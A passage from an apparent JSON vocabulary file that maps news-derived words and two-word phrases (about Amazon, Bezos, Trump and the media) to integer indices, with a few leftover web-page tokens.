\"nationalpost\": 142029,\n  \"wisconsin teen\": 142030,\n  \"strong asset\": 142031,\n  \"released line\": 142032,\n  \"new nokia\": 142033,\n  \"public needs\": 142034,\n  \"page vice\": 142035,\n  \"preening\": 142036,\n  \"boosters pointed\": 142037,\n  \"beautiful showcase\": 142038,\n  \"corporation holds\": 142039,\n  \"author shira\": 142040,\n  \"boom 2013\": 142041,\n  \"brokered deal\": 142042,\n  \"primary pharmacy\": 142043,\n  \"sandyk5251\": 142044,\n  \"president happy\": 142045,\n  \"impact factories\": 142046,\n  \"amazon including\": 142047,\n  \"enquirer report\": 142048,\n  \"innovative company\": 142049,\n  \"volume online\": 142050,\n  \"deal investors\": 142051,\n  \"earliest supporters\": 142052,\n  \"beautiful journey\": 142053,\n  \"joined today\": 142054,\n  \"embarrassing disclosure\": 142055,\n  \"ave aurora\": 142056,\n  \"enquirer obtained\": 142057,\n  \"blistering shots\": 142058,\n  \"recently served\": 142059,\n  \"amazon feel\": 142060,\n  \"visiting scholar\": 142061,\n  \"spent fair\": 142062,\n  \"increased tjv\": 142063,\n  \"fell cigna\": 142064,\n  \"jward56 bloomberg\": 142065,\n  \"mta repairs\": 142066,\n  \"recommendations earlier\": 142067,\n  \"government insider\": 142068,\n  \"fair outcome\": 142069,\n  \"korea undeclared\": 142070,\n  \"extraordinary story\": 142071,\n  \"drive mutually\": 142072,\n  \"exchange reviewed\": 142073,\n  \"pennsgrove\": 142074,\n  \"william golding\": 142075,\n  \"election complete\": 142076,\n  \"arrested jfk\": 142077,\n  \"identify problem\": 142078,\n  \"fresh water\": 142079,\n  \"blockbusters\": 142080,\n  \"widely discredited\": 142081,\n  \"birnbaum ocasio\": 142082,\n  \"2019 editor\": 142083,\n  \"eden games\": 142084,\n  \"capitalization barrier\": 142085,\n  \"called oath\": 142086,\n  \"trump link\": 142087,\n  \"campaign debate\": 142088,\n  \"communications specialist\": 142089,\n  \"gov northam\": 142090,\n  \"visit venezuela\": 142091,\n  \"course tohold\": 142092,\n  \"creating endless\": 142093,\n  \"oppressive government\": 142094,\n  \"buying newspaper\": 142095,\n  \"mamrie hart\": 142096,\n  \"echo intelligent\": 142097,\n  \"positively impacted\": 142098,\n  \"commerce consumers\": 142099,\n  \"tragic photo\": 142100,\n  \"integrate costly\": 142101,\n  \"encourage smart\": 142102,\n  \"bipartisan agreement\": 142103,\n  \"housing welcome\": 142104,\n  \"boast\": 142105,\n  \"frum foto\": 142106,\n  \"pay bills\": 142107,\n  \"westervelt yeah\": 142108,\n  \"showy\": 142109,\n  \"9e72\": 142110,\n  \"administration barack\": 142111,\n  \"trend stuart\": 142112,\n  \"equity analyst\": 142113,\n  \"expect profit\": 142114,\n  \"pegs\": 142115,\n  \"bolsonaro took\": 142116,\n  \"base carrying\": 142117,\n  \"paint stripper\": 142118,\n  \"casino complex\": 142119,\n  \"surprisingly strong\": 142120,\n  \"ging\": 142121,\n  \"new players\": 142122,\n  \"producing goods\": 142123,\n  \"frequent punching\": 142124,\n  \"week ken\": 142125,\n  \"kyle story\": 142126,\n  \"process bezos\": 142127,\n  \"foods read\": 142128,\n  \"suggestive photos\": 142129,\n  \"conference claiming\": 142130,\n  \"blog website\": 142131,\n  \"outlet released\": 142132,\n  \"previously agreed\": 142133,\n  \"261 million\": 142134,\n  \"microsoft shareholders\": 142135,\n  \"entertainment business\": 142136,\n  \"goods costs\": 142137,\n  \"inventioneers photo\": 142138,\n  \"historic militarization\": 142139,\n  \"customers paul\": 142140,\n  \"obert\": 142141,\n  \"economic historian\": 142142,\n  \"jpg related\": 142143,\n  \"financial impact\": 142144,\n  \"redistributed wcmh\": 142145,\n  \"archenemy donald\": 142146,\n  \"young boy\": 142147,\n  \"mean huge\": 142148,\n  \"alluded\": 142149,\n  \"called developed\": 142150,\n  \"council nyc\": 142151,\n  \"investigate trump\": 142152,\n  \"bolsonaro risks\": 142153,\n  \"vent\": 142154,\n  \"today gibbs\": 142155,\n  \"dry cleaner\": 142156,\n  \"tank known\": 142157,\n  \"leading enterprise\": 142158,\n  \"really feel\": 142159,\n  \"bitter southerner\": 142160,\n  \"rashad\": 142161,\n  \"ongoing feud\": 142162,\n  \"corporation\": 142163,\n  \"sec financial\": 142164,\n  \"floods battered\": 142165,\n  \"ceo says\": 142166,\n  \"jaffray takes\": 142167,\n  \"stainless\": 142168,\n  \"detentions\": 142169,\n  \"portal\": 142170,\n  \"giant slalom\": 142171,\n  \"admirable\": 142172,\n  \"gated project\": 142173,\n  \"america fought\": 142174,\n  \"ensnared nations\": 142175,\n  \"young women\": 142176,\n  \"texas attorney\": 142177,\n  \"special live\": 142178,\n  \"finalized donnelly\": 142179,\n  \"populairste\": 142180,\n  \"confidential tip\": 142181,\n  \"express mail\": 142182,\n  \"survive long\": 142183,\n  \"russia new\": 142184,\n  \"friendly plan\": 142185,\n  \"ad writer\": 142186,\n  \"exerting\": 142187,\n  \"mess isn\": 142188,\n  \"cnn owned\": 142189,\n  \"write offs\": 142190,\n  \"russia japan\": 142191,\n  \"regulators did\": 142192,\n  \"cnn disapproves\": 142193,\n  \"private lives\": 142194,\n  \"blasting amazon\": 142195,\n  \"large loopholes\": 142196,\n  \"immigration debate\": 142197,\n  \"marketplace extensions\": 142198,\n  \"introduce direct\": 142199,\n  \"doesn slow\": 142200,\n  \"spending strong\": 142201,\n  \"rod rosenstein\": 142202,\n  \"billion taxpayer\": 142203,\n  \"competitive dynamics\": 142204,\n  \"delivery according\": 142205,\n  \"gugino\": 142206,\n  \"boeing ranked\": 142207,\n  \"tivo\": 142208,\n  \"archbishop archdiocese\": 142209,\n  \"2018 sap\": 142210,\n  \"usually isn\": 142211,\n  \"accidents\": 142212,\n  \"movie unplanned\": 142213,\n  \"mistresses just\": 142214,\n  \"shipping fake\": 142215,\n  \"amazon senator\": 142216,\n  \"charlatans step\": 142217,\n  \"episode detective\": 142218,\n  \"indicted number\": 142219,\n  \"queens project\": 142220,\n  \"roundly criticized\": 142221,\n  \"manager gene\": 142222,\n  \"amazon elvis\": 142223,\n  \"mccain following\": 142224,\n  \"deutsch\": 142225,\n  \"amazon pullout\": 142226,\n  \"mtv networks\": 142227,\n  \"cnet\": 142228,\n  \"movementy\": 142229,\n  \"features editor\": 142230,\n  \"endure mockery\": 142231,\n  \"miami hurricanes\": 142232,\n  \"moynihan vice\": 142233,\n  \"president refuse\": 142234,\n  \"k1a tostring\": 142235,\n  \"evolutionary\": 142236,\n  \"york queens\": 142237,\n  \"expensive new\": 142238,\n  \"katrina vanden\": 142239,\n  \"called monetary\": 142240,\n  \"read little\": 142241,\n  \"exchanges west\": 142242,\n  \"stronger corporations\": 142243,\n  \"market david\": 142244,\n  \"gasol packs\": 142245,\n  \"remarkable roi\": 142246,\n  \"great attacking\": 142247,\n  \"essential brief\": 142248,\n  \"people immediately\": 142249,\n  \"a4ee\": 142250,\n  \"437\": 142251,\n  \"starts trading\": 142252,\n  \"target bumped\": 142253,\n  \"warren\": 142254,\n  \"package sorting\": 142255,\n  \"fee intended\": 142256,\n  \"increased collaboration\": 142257,\n  \"run items\": 142258,\n  \"prosecutors ami\": 142259,\n  \"endorsed\": 142260,\n  \"trampling\": 142261,\n  \"john trumplighthizer\": 142262,\n  \"torres analysts\": 142263,\n  \"groups urged\": 142264,\n  \"software product\": 142265,\n  \"thorough investigation\": 142266,\n  \"bought transportation\": 142267,\n  \"include general\": 142268,\n  \"nelson trump\": 142269,\n  \"think new\": 142270,\n  \"entertainment facebook\": 142271,\n  \"h4jm87qkvj\": 142272,\n  \"trump donald\": 142273,\n  \"groundwork\": 142274,\n  \"gain warrant\": 142275,\n  \"gives people\": 142276,\n  \"financial meltdown\": 142277,\n  \"acclaimed hbo\": 142278,\n  \"windows mark\": 142279,\n  \"voter education\": 142280,\n  \"worry google\": 142281,\n  \"honest person\": 142282,\n  \"enquirer showed\": 142283,\n  \"img_foreignkey 173218731\": 142284,\n  \"everybody paying\": 142285,\n  \"bermuda despite\": 142286,\n  \"sanchez response\": 142287,\n  \"ceo received\": 142288,\n  \"dino world\": 142289,\n  \"1780\": 142290,\n  \"earl\": 142291,\n  \"showdown drones\": 142292,\n  \"leakin james\": 142293,\n  \"sold 555\": 142294,\n  \"orders trump\": 142295,\n  \"taking leading\": 142296,\n  \"term liabilities\": 142297,\n  \"trump force\": 142298,\n  \"sanders presidential\": 142299,\n  \"ratings 2018\": 142300,\n  \"time fourteen\": 142301,\n  \"small unit\": 142302,\n  \"assistant commissioner\": 142303,\n  \"trading major\": 142304,\n  \"seller omarosa\": 142305,\n  \"told politifact\": 142306,\n  \"hp_listb_pos2 source\": 142307,\n  \"supposedly tipped\": 142308,\n  \"bezos head\": 142309,\n  \"morthland says\": 142310,\n  \"learning curveare\": 142311,\n  \"japan hosting\": 142312,\n  \"press passage\": 142313,\n  \"health costs\": 142314,\n  \"var o2x\": 142315,\n  \"denholm\": 142316,\n  \"new mission\": 142317,\n  \"leaning policies\": 142318,\n  \"saudi arabian\": 142319,\n  \"cities competed\": 142320,\n  \"traeger\": 142321,\n  \"itasat\": 142322,\n  \"cat quality\": 142323,\n  \"county maryland\": 142324,\n  \"bezos notified\": 142325,\n  \"labor kidding\": 142326,\n  \"tongue connected\": 142327,\n  \"incident involving\": 142328,\n  \"massacre parkland\": 142329,\n  \"gov haslam\": 142330,\n  \"angeles tv\": 142331,\n  \"steeped\": 142332,\n  \"biggest critics\": 142333,\n  \"liability bamco\": 142334,\n  \"season 321\": 142335,\n  \"investigators released\": 142336,\n  \"geo poli\": 142337,\n  \"oahu\": 142338,\n  \"carpal tunnel\": 142339,\n  \"tight labor\": 142340,\n  \"racist tweets\": 142341,\n  \"president series\": 142342,\n  \"extraordinary fee\": 142343,\n  \"merchandise sales\": 142344,\n  \"minute passages\": 142345,\n  \"rare glimpse\": 142346,\n  \"wasn check\": 142347,\n  \"uber retailer\": 142348,\n  \"meghan mccain\": 142349,\n  \"taking shot\": 142350,\n  \"proposed rulemaking\": 142351,\n  \"orchestrate pr\": 142352,\n  \"folly icahn\": 142353,\n  \"brands blink\": 142354,\n  \"firm notes\": 142355,\n  \"diet trend\": 142356,\n  \"issues places\": 142357,\n  \"takes uncharacteristically\": 142358,\n  \"kitchen confidential\": 142359,\n  \"potus occasionally\": 142360,\n  \"numbers trump\": 142361,\n  \"crash alabama\": 142362,\n  \"tuition credit\": 142363,\n  \"democrats politico\": 142364,\n  \"4ebc 9e72\": 142365,\n  \"words upcoming\": 142366,\n  \"1316\": 142367,\n  \"brands analysis\": 142368,\n  \"story macys\": 142369,\n  \"shippers task\": 142370,\n  \"grabbed nearly\": 142371,\n  \"independent body\": 142372,\n  \"cable internet\": 142373,\n  \"culpan media\": 142374,\n  \"implosion\": 142375,\n  \"paying high\": 142376,\n  \"producer\": 142377,\n  \"bezos obviously\": 142378,\n  \"legal department\": 142379,\n  \"dismissed valid\": 142380,\n  \"carell recent\": 142381,\n  \"mitchell valentine\": 142382,\n  \"depict\": 142383,\n  \"bills delivered\": 142384,\n  \"dishes\": 142385,\n  \"450 billion\": 142386,\n  \"major piece\": 142387,\n  \"taking toiletry\": 142388,\n  \"potus works\": 142389,\n  \"leaks long\": 142390,\n  \"complete table\": 142391,\n  \"dropping\": 142392,\n  \"2018 los\": 142393,\n  \"sketchy sellers\": 142394,\n  \"mule\": 142395,\n  \"retail apocalypse\": 142396,\n  \"added sordid\": 142397,\n  \"misdeeds\": 142398,\n  \"little moved\": 142399,\n  \"donut shaped\": 142400,\n  \"upsides\": 142401,\n  \"add according\": 142402,\n  \"bezos thousands\": 142403,\n  \"army secretary\": 142404,\n  \"decision requiring\": 142405,\n  \"westjet airlines\": 142406,\n  \"packages shipping\": 142407,\n  \"regressive taxes\": 142408,\n  \"weather recently\": 142409,\n  \"post heather\": 142410,\n  \"meng\": 142411,\n  \"500 produced\": 142412,\n  \"good think\": 142413,\n  \"business potentially\": 142414,\n  \"marked time\": 142415,\n  \"ago bolduan\": 142416,\n  \"conquering tech\": 142417,\n  \"increasingly finding\": 142418,\n  \"shared insights\": 142419,\n  \"rodgers\": 142420,\n  \"cover costs\": 142421,\n  \"stopping\": 142422,\n  \"people laugh\": 142423,\n  \"low wage\": 142424,\n  \"rekognition pilot\": 142425,\n  \"arrival cuomo\": 142426,\n  \"investment metrics\": 142427,\n  \"strong leader\": 142428,\n  \"president joe\": 142429,\n  \"handbags zappos\": 142430,\n  \"thing way\": 142431,\n  \"rainforest converted\": 142432,\n  \"quarter parsec\": 142433,\n  \"competitor american\": 142434,\n  \"aws compared\": 142435,\n  \"stampsby record\": 142436,\n  \"city love\": 142437,\n  \"g0 return\": 142438,\n  \"2018meanwhile usps\": 142439,\n  \"package network\": 142440,\n  \"decades related\": 142441,\n  \"null\": 142442,\n  \"secretary rick\": 142443,\n  \"cortana announcement\": 142444,\n  \"categories seizing\": 142445,\n  \"bezos commerce\": 142446,\n  \"rosetta\": 142447,\n  \"post material\": 142448,\n  \"instituted number\": 142449,\n  \"company benefits\": 142450,\n  \"1835et copyright\": 142451,\n  \"amazon alibaba\": 142452,\n  \"corruption\": 142453,\n  \"hyak\": 142454,\n  \"workers vendors\": 142455,\n  \"2018 yelp\": 142456,\n  \"medical\": 142457,\n  \"detective minds\": 142458,\n  \"inc_homepage_headline inc_homepage_headline_ab_test\": 142459,\n  \"new economic\": 142460,\n  \"second proposal\": 142461,\n  \"taking bets\": 142462,\n  \"word counterfeiting\": 142463,\n  \"intelligence michael\": 142464,\n  \"help build\": 142465,\n  \"businesses sales\": 142466,\n  \"outlet vox\": 142467,\n  \"second thoughts\": 142468,\n  \"amazon itemizing\": 142469,\n  \"postpone hike\": 142470,\n  \"fan turned\": 142471,\n  \"right moser\": 142472,\n  \"territory 2018\": 142473,\n  \"jack mclaughlin\": 142474,\n  \"gotten free\": 142475,\n  \"dettmer\": 142476,\n  \"edict\": 142477,\n  \"shouldering\": 142478,\n  \"hollis following\": 142479,\n  \"decisions themes\": 142480,\n  \"final result\": 142481,\n  \"downplaying talk\": 142482,\n  \"19th 2018\": 142483,\n  \"genuinely useful\": 142484,\n  \"athletes\": 142485,\n  \"compelling choice\": 142486,\n  \"representing writers\": 142487,\n  \"diario\": 142488,\n  \"criticised coverage\": 142489,\n  \"spring president\": 142490,\n  \"snakes\": 142491,\n  \"marketing material\": 142492,\n  \"forested land\": 142493,\n  \"government monopoly\": 142494,\n  \"stanford university\": 142495,\n  \"dod used\": 142496,\n  \"making sure\": 142497,\n  \"supporters vip\": 142498,\n  \"las\": 142499,\n  \"17608448011\": 142500,\n  \"scripted series\": 142501,\n  \"cup\": 142502,\n  \"despite profits\": 142503,\n  \"environmental restrictions\": 142504,\n  \"raises risk\": 142505,\n  \"nfl network\": 142506,\n  \"neighboring lesser\": 142507,\n  \"barclays morgan\": 142508,\n  \"reportedly selling\": 142509,\n  \"long line\": 142510,\n  \"2015 attack\": 142511,\n  \"section carell\": 142512,\n  \"broward league\": 142513,\n  \"love jeff\": 142514,\n  \"insider attack\": 142515,\n  \"air reporter\": 142516,\n  \"airstrike targeting\": 142517,\n  \"technology acquisition\": 142518,\n  \"disparaged mccain\": 142519,\n  \"rarely\": 142520,\n  \"tryingto convince\": 142521,\n  \"ut\": 142522,\n  \"recently introduced\": 142523,\n  \"today stocks\": 142524,\n  \"herera thanks\": 142525,\n  \"president michigan\": 142526,\n  \"benchmark wrote\": 142527,\n  \"road\": 142528,\n  \"law exists\": 142529,\n  \"decreased sharply\": 142530,\n  \"offered praise\": 142531,\n  \"cap played\": 142532,\n  \"spots scars\": 142533,\n  \"nyse dhi\": 142534,\n  \"scandal best\": 142535,\n  \"ceo tech\": 142536,\n  \"bezos blog\": 142537,\n  \"zinke hometown\": 142538,\n  \"warranty liability\": 142539,\n  \"sawn\": 142540,\n  \"shipping discount\": 142541,\n  \"shoppers amazon\": 142542,\n  \"vaughn hathaway\": 142543,\n  \"amazon strongly\": 142544,\n  \"labor infrastructure\": 142545,\n  \"burning lee\": 142546,\n  \"outlier\": 142547,\n  \"org told\": 142548,\n  \"service excellence\": 142549,\n  \"bezos issued\": 142550,\n  \"investment unfortunately\": 142551,\n  \"chagrin\": 142552,\n  \"mobilelogo\": 142553,\n  \"breathtakingly totalitarian\": 142554,\n  \"risk especially\": 142555,\n  \"pharma supply\": 142556,\n  \"effectively share\": 142557,\n  \"neoliberalism\": 142558,\n  \"bigger\": 142559,\n  \"contractors does\": 142560,\n  \"tactics pecker\": 142561,\n  \"frontiers apple\": 142562,\n  \"seattle venture\": 142563,\n  \"ga real\": 142564,\n  \"indigenous affairs\": 142565,\n  \"mark bogen\": 142566,\n  \"public focus\": 142567,\n  \"rule join\": 142568,\n  \"amazon captured\": 142569,\n  \"jessica\": 142570,\n  \"augmented reality\": 142571,\n  \"better medicare\": 142572,\n  \"lgbt americans\": 142573,\n  \"sidelined workers\": 142574,\n  \"folk witness\": 142575,\n  \"wariness\": 142576,\n  \"melatonin gummies\": 142577,\n  \"cautiously acknowledging\": 142578,\n  \"jojo\": 142579,\n  \"labor reductions\": 142580,\n  \"americans seniors\": 142581,\n  \"article noted\": 142582,\n  \"suburbs view\": 142583,\n  \"la garza\": 142584,\n  \"lie ahead\": 142585,\n  \"helm\": 142586,\n  \"sales trips\": 142587,\n  \"accused china\": 142588,\n  \"warehouse loads\": 142589,\n  \"residents student\": 142590,\n  \"government operations\": 142591,\n  \"greatest investigation\": 142592,\n  \"new jerusalem\": 142593,\n  \"tear gas\": 142594,\n  \"schumer\": 142595,\n  \"developing\": 142596,\n  \"distribution centres\": 142597,\n  \"preferred outcome\": 142598,\n  \"insulted\": 142599,\n  \"employee hours\": 142600,\n  \"teenager navigating\": 142601,\n  \"movie worthy\": 142602,\n  \"fully legalized\": 142603,\n  \"t9x b0\": 142604,\n  \"workers town\": 142605,\n  \"huge hunt\": 142606,\n  \"photo books\": 142607,\n  \"luxembourg ruling\": 142608,\n  \"sense\": 142609,\n  \"communities chance\": 142610,\n  \"workers skip\": 142611,\n  \"helsinki trump\": 142612,\n  \"school math\": 142613,\n  \"fuel according\": 142614,\n  \"amzn shaker\": 142615,\n  \"markets bartiromo\": 142616,\n  \"shap\": 142617,\n  \"quota\": 142618,\n  \"conference seahawks\": 142619,\n  \"solve problems\": 142620,\n  \"woodward gives\": 142621,\n  \"earlier real\": 142622,\n  \"feature allows\": 142623,\n  \"just registered\": 142624,\n  \"app draw\": 142625,\n  \"exchange observes\": 142626,\n  \"shoulder straps\": 142627,\n  \"unionized indifference\": 142628,\n  \"deal lawmakers\": 142629,\n  \"infamous american\": 142630,\n  \"woodward check\": 142631,\n  \"assemblywoman rozic\": 142632,\n  \"contact info\": 142633,\n  \"privacy according\": 142634,\n  \"markets language\": 142635,\n  \"toxic pharmaceuticals\": 142636,\n  \"encouraged activists\": 142637,\n  \"alfresco government\": 142638,\n  \"mulligan\": 142639,\n  \"versatility\": 142640,\n  \"investigation mulligan\": 142641,\n  \"spying\": 142642,\n  \"bashing journalists\": 142643,\n  \"hostile nature\": 142644,\n  \"kth\": 142645,\n  \"developer kit\": 142646,\n  \"gamer david\": 142647,\n  \"taking step\": 142648,\n  \"small target\": 142649,\n  \"founder heidi\": 142650,\n  \"thesson politico\": 142651,\n  \"announcing legal\": 142652,\n  \"animal crossing\": 142653,\n  \"architect headlineplaintext\": 142654,\n  \"life changed\": 142655,\n  \"johnson survivor\": 142656,\n  \"public commitment\": 142657,\n  \"motors gm\": 142658,\n  \"khashoggi death\": 142659,\n  \"la airbnb\": 142660,\n  \"outline explicit\": 142661,\n  \"seen market\": 142662,\n  \"ally david\": 142663,\n  \"tango\": 142664,\n  \"muckerman alphabet\": 142665,\n  \"mandating verizon\": 142666,\n  \"alphabet tanks\": 142667,\n  \"tied\": 142668,\n  \"david weprin\": 142669,\n  \"bezos mentions\": 142670,\n  \"new settlers\": 142671,\n  \"midweek fixture\": 142672,\n  \"mueller asks\": 142673,\n  \"indian menu\": 142674,\n  \"artist zozi009\": 142675,\n  \"campaigners\": 142676,\n  \"increase import\": 142677,\n  \"suit\": 142678,\n  \"seat white\": 142679,\n  \"urban meyer\": 142680,\n  \"paralyze\": 142681,\n  \"investor warren\": 142682,\n  \"2018 gain\": 142683,\n  \"separate purchase\": 142684,\n  \"amazon friendly\": 142685,\n  \"officers fired\": 142686,\n  \"fredericks\": 142687,\n  \"criticized bezos\": 142688,\n  \"renewable energy\": 142689,\n  \"longtime residents\": 142690,\n  \"padma\": 142691,\n  \"settings remotely\": 142692,\n  \"nyx orange\": 142693,\n  \"trigger retaliation\": 142694,\n  \"amazon breaks\": 142695,\n  \"buckingham\": 142696,\n  \"best general\": 142697,\n  \"sweeping presidential\": 142698,\n  \"invoices\": 142699,\n  \"vestal\": 142700,\n  \"workers echoed\": 142701,\n  \"uses gerrymanding\": 142702,\n  \"progressive lambs\": 142703,\n  \"monopoly dod\": 142704,\n  \"arrested alvarez\": 142705,\n  \"mccain telling\": 142706,\n  \"data happy\": 142707,\n  \"faux itemizing\": 142708,\n  \"hockey player\": 142709,\n  \"presidential precedent\": 142710,\n  \"companies availing\": 142711,\n  \"extra perks\": 142712,\n  \"certain republican\": 142713,\n  \"grow humor\": 142714,\n  \"massachusetts towns\": 142715,\n  \"reprise\": 142716,\n  \"analyst sean\": 142717,\n  \"new parents\": 142718,\n  \"major anti\": 142719,\n  \"computer hacking\": 142720,\n  \"changes usps\": 142721,\n  \"term impact\": 142722,\n  \"wallets amazon\": 142723,\n  \"book ratings\": 142724,\n  \"trafficking terrorism\": 142725,\n  \"anti lgbtq\": 142726,\n  \"order directing\": 142727,\n  \"avoid import\": 142728,\n  \"fiefdoms\": 142729,\n  \"regrowth\": 142730,\n  \"robert barnes\": 142731,\n  \"bless\": 142732,\n  \"previously claimed\": 142733,\n  \"mccabe james\": 142734,\n  \"workplace environment\": 142735,\n  \"simply stop\": 142736,\n  \"say maybe\": 142737,\n  \"imaginations\": 142738,\n  \"tech talkingtech\": 142739,\n  \"true today\": 142740,\n  \"mark cigars\": 142741,\n  \"created million\": 142742,\n  \"\\u014277 9million\": 142743,\n  \"experienced\": 142744,\n  \"possibility don\": 142745,\n  \"citing unidentified\": 142746,\n  \"russia case\": 142747,\n  \"quality material\": 142748,\n  \"ditched\": 142749,\n  \"trump efforts\": 142750,\n  \"based lead\": 142751,\n  \"hoy\": 142752,\n  \"stealth doorway\": 142753,\n  \"2021 nycedc\": 142754,\n  \"known retailing\": 142755,\n  \"unsavory enterprise\": 142756,\n  \"eu ruling\": 142757,\n  \"medical attention\": 142758,\n  \"wing gop\": 142759,\n  \"adnoc\": 142760,\n  \"prospect amazon\": 142761,\n  \"cn carousel\": 142762,\n  \"news specifically\": 142763,\n  \"question retirement\": 142764,\n  \"text leaks\": 142765,\n  \"global financial\": 142766,\n  \"watch trump\": 142767,\n  \"people alexandria\": 142768,\n  \"requires sustainable\": 142769,\n  \"employed similar\": 142770,\n  \"benny\": 142771,\n  \"hiring drivers\": 142772,\n  \"risk letting\": 142773,\n  \"dynasty posted\": 142774,\n  \"wild adventure\": 142775,\n  \"does cheap\": 142776,\n  \"aluminum industry\": 142777,\n  \"subject monopoly\": 142778,\n  \"stopped disclosing\": 142779,\n  \"ubhi contacted\": 142780,\n  \"facilities jeff\": 142781,\n  \"criminal discovery\": 142782,\n  \"received complaints\": 142783,\n  \"old usually\": 142784,\n  \"stayed quiet\": 142785,\n  \"greer sorry\": 142786,\n  \"president repeatedly\": 142787,\n  \"736\": 142788,\n  \"breached\": 142789,\n  \"creepy line\": 142790,\n  \"mike shear\": 142791,\n  \"sexism reckless\": 142792,\n  \"veronika\": 142793,\n  \"replacing nafta\": 142794,\n  \"amazon surplus\": 142795,\n  \"r35i5t\": 142796,\n  \"itt\": 142797,\n  \"gmt mass\": 142798,\n  \"deploy rekognition\": 142799,\n  \"trump returns\": 142800,\n  \"help restore\": 142801,\n  \"madden\": 142802,\n  \"brought 2012\": 142803,\n  \"troll doll\": 142804,\n  \"hewson marillyn\": 142805,\n  \"combating counterfeit\": 142806,\n  \"certainly boost\": 142807,\n  \"ai tools\": 142808,\n  \"creating issues\": 142809,\n  \"theranos\": 142810,\n  \"groceries web\": 142811,\n  \"decried amazon\": 142812,\n  \"claiming google\": 142813,\n  \"train boondoggle\": 142814,\n  \"classified information\": 142815,\n  \"biggest tax\": 142816,\n  \"tex\": 142817,\n  \"boyne\": 142818,\n  \"particular delight\": 142819,\n  \"neo sovereigns\": 142820,\n  \"amazon magic\": 142821,\n  \"forming new\": 142822,\n  \"date gains\": 142823,\n  \"college tuition\": 142824,\n  \"viceland\": 142825,\n  \"248\": 142826,\n  \"year time\": 142827,\n  \"trump telling\": 142828,\n  \"android devices\": 142829,\n  \"smirk\": 142830,\n  \"exclusive kaitlyn\": 142831,\n  \"anthropomorphized\": 142832,\n  \"complaint pdf\": 142833,\n  \"669\": 142834,\n  \"frontier google\": 142835,\n  \"charring\": 142836,\n  \"dollar tree\": 142837,\n  \"makes creepy\": 142838,\n  \"brandishing\": 142839,\n  \"vape\": 142840,\n  \"000 loan\": 142841,\n  \"year making\": 142842,\n  \"cover earlier\": 142843,\n  \"york backyards\": 142844,\n  \"inclusionary housing\": 142845,\n  \"transfers\": 142846,\n  \"health cares\": 142847,\n  \"augusto\": 142848,\n  \"house communications\": 142849,\n  \"rejected amazon\": 142850,\n  \"super sad\": 142851,\n  \"subsequent reporting\": 142852,\n  \"randal quarles\": 142853,\n  \"activist hala\": 142854,\n  \"prosperity wrote\": 142855,\n  \"mandy\": 142856,\n  \"matt chayes\": 142857,\n  \"apple quietly\": 142858,\n  \"unfolds\": 142859,\n  \"sky news\": 142860,\n  \"musicmodernizationact 784\": 142861,\n  \"gripping narrative\": 142862,\n  \"censorship efforts\": 142863,\n  \"digital world\": 142864,\n  \"businesses dave\": 142865,\n  \"multiplayer fun\": 142866,\n  \"billion larcker\": 142867,\n  \"letter ends\": 142868,\n  \"fretful\": 142869,\n  \"additional\": 142870,\n  \"network representative\": 142871,\n  \"migrant parents\": 142872,\n  \"coming initiatives\": 142873,\n  \"extra funds\": 142874,\n  \"marriage alive\": 142875,\n  \"opportune time\": 142876,\n  \"invesco\": 142877,\n  \"deriving\": 142878,\n  \"distinctly neo\": 142879,\n  \"email box\": 142880,\n  \"sidewalk cafes\": 142881,\n  \"2018 today\": 142882,\n  \"perez yes\": 142883,\n  \"encounter steve\": 142884,\n  \"jeffrey saut\": 142885,\n  \"charging higher\": 142886,\n  \"consuming companies\": 142887,\n  \"overt politicization\": 142888,\n  \"congress including\": 142889,\n  \"royals hrh\": 142890,\n  \"night comic\": 142891,\n  \"class stamps\": 142892,\n  \"rayner\": 142893,\n  \"submit\": 142894,\n  \"obscene\": 142895,\n  \"stock jpmorgan\": 142896,\n  \"family bezos\": 142897,\n  \"won control\": 142898,\n  \"force changes\": 142899,\n  \"softly carries\": 142900,\n  \"100000\": 142901,\n  \"regional networks\": 142902,\n  \"exceptional customer\": 142903,\n  \"marketplace evidence\": 142904,\n  \"nationalize control\": 142905,\n  \"npr alina\": 142906,\n  \"1868\": 142907,\n  \"beagle\": 142908,\n  \"subsidies sanders\": 142909,\n  \"quality products\": 142910,\n  \"waters makes\": 142911,\n  \"things improved\": 142912,\n  \"pelosi president\": 142913,\n  \"wasn total\": 142914,\n  \"southern border\": 142915,\n  \"cattle ranching\": 142916,\n  \"lure companies\": 142917,\n  \"company abused\": 142918,\n  \"reporting understand\": 142919,\n  \"illegally immoral\": 142920,\n  \"enquirer staff\": 142921,\n  \"hat read\": 142922,\n  \"multicooker\": 142923,\n  \"gives owner\": 142924,\n  \"kern\": 142925,\n  \"week 365\": 142926,\n  \"kick trump\": 142927,\n  \"pushing ambitious\": 142928,\n  \"potentially galling\": 142929,\n  \"thrilled jeff\": 142930,\n  \"overturn awards\": 142931,\n  \"monico emailed\": 142932,\n  \"bloomberg rose\": 142933,\n  \"supporting liberal\": 142934,\n  \"commonplace scene\": 142935,\n  \"just pleased\": 142936,\n  \"getting weirder\": 142937,\n  \"infuriated howard\": 142938,\n  \"needs new\": 142939,\n  \"colderice\": 142940,\n  \"rep eliot\": 142941,\n  \"ryan trailer\": 142942,\n  \"build headquarters\": 142943,\n  \"khosrowshahi loves\": 142944,\n  \"subjects job\": 142945,\n  \"reputational\": 142946,\n  \"john major\": 142947,\n  \"state republican\": 142948,\n  \"hbo host\": 142949,\n  \"t1\": 142950,\n  \"cabinet shakeup\": 142951,\n  \"blumhouse consists\": 142952,\n  \"included maryland\": 142953,\n  \"owns 644\": 142954,\n  \"lifelong\": 142955,\n  \"kindness\": 142956,\n  \"busted\": 142957,\n  \"thing right\": 142958,\n  \"customers walk\": 142959,\n  \"begged amazon\": 142960,\n  \"spyjust\": 142961,\n  \"father raphael\": 142962,\n  \"height videocmsuri\": 142963,\n  \"hauntings\": 142964,\n  \"ami links\": 142965,\n  \"case better\": 142966,\n  \"timeshare owners\": 142967,\n  \"nypost\": 142968,\n  \"globe earlier\": 142969,\n  \"trump loathing\": 142970,\n  \"based pure\": 142971,\n  \"media editor\": 142972,\n  \"quoted mccain\": 142973,\n  \"ago cnn\": 142974,\n  \"raposa serra\": 142975,\n  \"security affairs\": 142976,\n  \"myriad legal\": 142977,\n  \"null cnl_global_nav_background_gradient_start\": 142978,\n  \"fade away\": 142979,\n  \"heavenly light\": 142980,\n  \"announcement photo\": 142981,\n  \"history rt\": 142982,\n  \"companies development\": 142983,\n  \"aide demands\": 142984,\n  \"new infusion\": 142985,\n  \"indicated\": 142986,\n  \"street corner\": 142987,\n  \"milk studios\": 142988,\n  \"kelly mccain\": 142989,\n  \"claimed investigators\": 142990,\n  \"56m\": 142991,\n  \"kimmel grills\": 142992,\n  